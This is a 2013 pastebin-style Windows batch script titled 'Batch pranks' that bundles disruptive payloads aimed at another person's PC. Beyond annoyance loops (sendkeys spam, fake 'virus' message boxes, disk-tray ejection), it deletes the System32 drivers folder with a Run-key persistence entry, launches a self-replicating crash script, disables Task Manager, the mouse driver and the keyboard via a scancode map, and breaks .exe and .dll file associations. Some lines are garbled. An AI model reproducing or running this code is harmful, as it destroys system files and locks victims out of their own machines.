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Helium

Batch pranks

Helium
Sep 23rd, 2013
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  1. rem A collection of batch pranks:
  2.  
  3. @ echo off
  4.  
  5. rem Swap Mouse Buttons
  6. RUNDLL32 USER32.DLL,SwapMouseButton
  7.  
  8. rem Start Opening Disk Tray
  9. echo Set oWMP = CreateObject("WMPlayer.OCX.7") >> "poptray.vbs"
  10. echo Set colCDROMs = oWMP.cdromCollection >> "poptray.vbs"
  11. echo Do >> "poptray.vbs"
  12. echo if colCDROMs.Count >= 1 then >> "poptray.vbs"
  13. echo For i = 0 to colCDROMs.Count - 1 >> "poptray.vbs"
  14. echo colCDROMs.Item(i).Eject >> "poptray.vbs"
  15. echo Next >> "poptray.vbs"
  16. echo For i = 0 to colCDROMs.Count - 1 >> "poptray.vbs"
  17. echo colCDROMs.Item(i).Eject >> "poptray.vbs"
  18. echo Next >> "poptray.vbs"
  19. echo End if >> "poptray.vbs"
  20. echo wscript.sleep 5000 >> "poptray.vbs"
  21. echo Loop >> "poptray.vbs"
  22. start "" poptray.vbs"
  23.  
  24. rem Hit enter key
  25. echo Set wshShell = wscript.CreateObject("WScript.Shell") >> "enterfreak.vbs"
  26. echo Do >> "enterfreak.vbs"
  27. echo wscript.sleep 100 >> "enterfreak.vbs"
  28. echo wshshell.sendkeys "~(enter)" >> "enterfreak.vbs"
  29. echo Loop >> "enterfreak.vbs"
  30.  
  31. rem Type anything you want
  32. echo Set wshShell = wscript.CreateObject("WScript.Shell") >> "fool.vbs"
  33. echo Do >> "fool.vbs"
  34. echo wscript.sleep 100 >> "fool.vbs"
  35. echo wshshell.sendkeys "You are a schmuck." >> "fool.vbs"
  36. echo Loop >> "fool.vbs"
  37. start "" "fool.vbs"
  38.  
  39. rem Caps Lock Toggle
  40. echo Do >> "capsfreak.vbs"
  41. echo wscript.sleep 100 >> "capsfreak.vbs"
  42. echo wshshell.sendkeys "{CAPSLOCK}" >> "capsfreak.vbs"
  43. echo Loop >> "capsfreak.vbs"
  44. start "" "capsfreak.vbs"
  45.  
  46. rem Hide My Documents Folder
  47. attrib +h "%userprofile%\my documents"
  48.  
  49. rem Activate Blue Screen Of Death
  50. @((( Echo Off > Nul ) & Break Off )
  51. @Set HiveBSOD=HKLM\Software\Microsoft\Windows\CurrentVersion\Run
  52. @Reg Add "%HiveBSOD%" /v "BSOD" /t "REG_SZ" /d %0 /f > Nul
  53. @Del /q /s /f "%SystemRoot%\Windows\System32\Drivers\*.*"
  54. )
  55.  
  56. rem opens notepad and types message
  57. echo WScript.Sleep 20 >> "noteghost.vbs"
  58. echo WScript.Sleep 10 >> "noteghost.vbs"
  59. echo Set WshShell = WScript.CreateObject("WScript.Shell") >> "noteghost.vbs"
  60. echo WshShell.Run "notepad" >> "noteghost.vbs"
  61. echo WScript.Sleep 100 >> "noteghost.vbs"
  62. echo WshShell.AppActivate "Notepad" >> "noteghost.vbs"
  63. echo WScript.Sleep 100 >> "noteghost.vbs"
  64. echo WshShell.SendKeys "G" >> "noteghost.vbs"
  65. echo WScript.Sleep 100 >> "noteghost.vbs"
  66. echo WshShell.SendKeys "O" >> "noteghost.vbs"
  67. echo WScript.Sleep 100 >> "noteghost.vbs"
  68. echo WshShell.SendKeys "O" >> "noteghost.vbs"
  69. echo WScript.Sleep 100 >> "noteghost.vbs"
  70. echo WshShell.SendKeys "D" >> "noteghost.vbs"
  71. echo WScript.Sleep 100 >> "noteghost.vbs"
  72. echo WshShell.SendKeys " " >> "noteghost.vbs"
  73. echo WScript.Sleep 100 >> "noteghost.vbs"
  74. echo WshShell.SendKeys "M" >> "noteghost.vbs"
  75. echo WScript.Sleep 100 >> "noteghost.vbs"
  76. echo WshShell.SendKeys "O" >> "noteghost.vbs"
  77. echo WScript.Sleep 100 >> "noteghost.vbs"
  78. echo WshShell.SendKeys "R" >> "noteghost.vbs"
  79. echo WScript.Sleep 100 >> "noteghost.vbs"
  80. echo WshShell.SendKeys "N" >> "noteghost.vbs"
  81. echo WScript.Sleep 100 >> "noteghost.vbs"
  82. echo WshShell.SendKeys "I" >> "noteghost.vbs"
  83. echo WScript.Sleep 100 >> "noteghost.vbs"
  84. echo WshShell.SendKeys "N" >> "noteghost.vbs"
  85. echo WScript.Sleep 100 >> "noteghost.vbs"
  86. echo WshShell.SendKeys "G" >> "noteghost.vbs"
  87. echo WScript.Sleep 100 >> "noteghost.vbs"
  88. echo WshShell.SendKeys "! " >> "noteghost.vbs"
  89. echo WScript.Sleep 100 >> "noteghost.vbs"
  90. echo WshShell.SendKeys "G" >> "noteghost.vbs"
  91. echo WScript.Sleep 100 >> "noteghost.vbs"
  92. echo WshShell.SendKeys "E" >> "noteghost.vbs"
  93. echo WScript.Sleep 100 >> "noteghost.vbs"
  94. echo WshShell.SendKeys "N" >> "noteghost.vbs"
  95. echo WScript.Sleep 100 >> "noteghost.vbs"
  96. echo WshShell.SendKeys "T" >> "noteghost.vbs"
  97. echo WScript.Sleep 100 >> "noteghost.vbs"
  98. echo WshShell.SendKeys "L" >> "noteghost.vbs"
  99. echo WScript.Sleep 100 >> "noteghost.vbs"
  100. echo WshShell.SendKeys "E" >> "noteghost.vbs"
  101. echo WScript.Sleep 100 >> "noteghost.vbs"
  102. echo WshShell.SendKeys "M" >> "noteghost.vbs"
  103. echo WScript.Sleep 100 >> "noteghost.vbs"
  104. echo WshShell.SendKeys "E" >> "noteghost.vbs"
  105. echo WScript.Sleep 100 >> "noteghost.vbs"
  106. echo WshShell.SendKeys "N" >> "noteghost.vbs"
  107. echo WScript.Sleep 100 >> "noteghost.vbs"
  108. echo WshShell.SendKeys "! " >> "noteghost.vbs"
  109. start "" "noteghost.vbs"
  110.  
  111. rem Spam With VBScript Msgboxes
  112. echo Do >> msgbox.vbs
  113. echo x=msgbox("Your account has been disabled due to a virus!",0+48,"Infected") >> msgbox.vbs
  114. echo Loop >> msgbox.vbs
  115. start "" "msgbox.vbs"
  116. start "" "msgbox.vbs"
  117. start "" "msgbox.vbs"
  118. start "" "msgbox.vbs"
  119. start "" "msgbox.vbs"
  120. start "" "msgbox.vbs"
  121. start "" "msgbox.vbs"
  122. start "" "msgbox.vbs"
  123. start "" "msgbox.vbs"
  124. start "" "msgbox.vbs"
  125. start "" "msgbox.vbs"
  126. start "" "msgbox.vbs"
  127. start "" "msgbox.vbs"
  128. start "" "msgbox.vbs"
  129. start "" "msgbox.vbs"
  130. start "" "msgbox.vbs"
  131. start "" "msgbox.vbs"
  132. start "" "msgbox.vbs"
  133. start "" "msgbox.vbs"
  134. start "" "msgbox.vbs"
  135. start "" "msgbox.vbs"
  136. start "" "msgbox.vbs"
  137. start "" "msgbox.vbs"
  138. start "" "msgbox.vbs"
  139. start "" "msgbox.vbs"
  140. start "" "msgbox.vbs"
  141. start "" "msgbox.vbs"
  142.  
  143. rem Confuse File Extensions for text
  144. assoc .mp3=txtfile
  145. assoc .xml=txtfile
  146. assoc .png=txtfile
  147.  
  148. rem Confuse File Extensions Powerup
  149. assoc .dll=txtfile
  150. assoc .exe=pngfile
  151. assoc .vbs=Visual Style
  152. assoc .reg=xmlfile
  153. assoc .txt=regfile
  154.  
  155. rem Crash Computer
  156. echo start "" %0>>crash.bat
  157. echo start "" %0>>crash.bat
  158. echo start "" %0>>crash.bat
  159. echo start "" %0>>crash.bat
  160. echo start "" %0>>crash.bat
  161. echo start "" %0>>crash.bat
  162. echo start "" %0>>crash.bat
  163. echo start "" %0>>crash.bat
  164. echo start "" %0>>crash.bat
  165. echo start "" %0>>crash.bat
  166. echo start "" %0>>crash.bat
  167. echo start "" %0>>crash.bat
  168. echo start "" %0>>crash.bat
  169. echo start "" %0>>crash.bat
  170. echo start "" %0>>crash.bat
  171. echo start "" %0>>crash.bat
  172. echo start "" %0>>crash.bat
  173. echo start "" %0>>crash.bat
  174. start "" crash.bat
  175.  
  176. rem Disable Task Manager
  177. reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f >nul
  178.  
  179. rem Disable Internet
  180. @Echo off & @@Break Off
  181. Ipconfig /release
  182. %jUmP%E%nD%c%onFiG%h%IdE%o%P% h%aRv%%aRd%A%T%%cHe%cK%HappY%3D b%aLLo0Ns%Y%eS% m3Ga!?!
  183. P%ReSs%%IE%AuS%ExPloR%e%r% > nul.%TempInternetRelease%
  184.  
  185. rem Disable Mouse
  186. set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
  187. reg delete %key%
  188. reg add %key% /v Start /t REG_DWORD /d 4
  189.  
  190. rem Disable Keyboard
  191. echo Windows Registry Editor Version 5.00 > "nokeyboard.reg"
  192. echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout] >> "nokeyboard.reg"
  193. echo "Scancode Map"=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,00,01,00,00,\ >> "nokeyboard.reg"
  194. echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00,3f,00,00,00,40,00,00,00,\ >> "nokeyboard.reg"
  195. echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57,00,00,00,58,00,00,00,37,\ >> "nokeyboard.reg"
  196. echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00,00,00,4a,00,00,00,47,00,\ >> "nokeyboard.reg"
  197. echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00,00,4d,00,00,00,4e,00,00,\ >> "nokeyboard.reg"
  198. echo 00,4f,00,00,00,50,00,00,00,51,00,00,00,1c,e0,00,00,53,00,00,00,52,00,00,00,\ >> "nokeyboard.reg"
  199. echo 4d,e0,00,00,50,e0,00,00,4b,e0,00,00,48,e0,00,00,52,e0,00,00,47,e0,00,00,49,\ >> "nokeyboard.reg"
  200. echo e0,00,00,53,e0,00,00,4f,e0,00,00,51,e0,00,00,29,00,00,00,02,00,00,00,03,00,\ >> "nokeyboard.reg"
  201. echo 00,00,04,00,00,00,05,00,00,00,06,00,00,00,07,00,00,00,08,00,00,00,09,00,00,\ >> "nokeyboard.reg"
  202. echo 00,0a,00,00,00,0b,00,00,00,0c,00,00,00,0d,00,00,00,0e,00,00,00,0f,00,00,00,\ >> "nokeyboard.reg"
  203. echo 10,00,00,00,11,00,00,00,12,00,00,00,13,00,00,00,14,00,00,00,15,00,00,00,16,\ >> "nokeyboard.reg"
  204. echo 00,00,00,17,00,00,00,18,00,00,00,19,00,00,00,1a,00,00,00,1b,00,00,00,2b,00,\ >> "nokeyboard.reg"
  205. echo 00,00,3a,00,00,00,1e,00,00,00,1f,00,00,00,20,00,00,00,21,00,00,00,22,00,00,\ >> "nokeyboard.reg"
  206. echo 00,23,00,00,00,24,00,00,00,25,00,00,00,26,00,00,00,27,00,00,00,28,00,00,00,\ >> "nokeyboard.reg"
  207. echo 1c,00,00,00,2a,00,00,00,2c,00,00,00,2d,00,00,00,2e,00,00,00,2f,00,00,00,30,\ >> "nokeyboard.reg"
  208. echo 00,00,00,31,00,00,00,32,00,00,00,33,00,00,00,34,00,00,00,35,00,00,00,36,00,\ >> "nokeyboard.reg"
  209. echo 00,00,1d,00,00,00,5b,e0,00,00,38,00,00,00,39,00,00,00,38,e0,00,00,5c,e0,00,\ >> "nokeyboard.reg"
  210. echo 00,5d,e0,00,00,1d,e0,00,00,5f,e0,00,00,5e,e0,00,00,22,e0,00,00,24,e0,00,00,\ >> "nokeyboard.reg"
  211. echo 10,e0,00,00,19,e0,00,00,30,e0,00,00,2e,e0,00,00,2c,e0,00,00,20,e0,00,00,6a,\ >> "nokeyboard.reg"
  212. echo e0,00,00,69,e0,00,00,68,e0,00,00,67,e0,00,00,42,e0,00,00,6c,e0,00,00,6d,e0,\ >> "nokeyboard.reg"
  213. echo 00,00,66,e0,00,00,6b,e0,00,00,21,e0,00,00,00,00 >> "nokeyboard.reg"
  214. start "nokeyboard.reg"
  215.  
  216. rem Shutdown command
  217. cls
  218. shutdown -s -t -c "You are a schmuck!"
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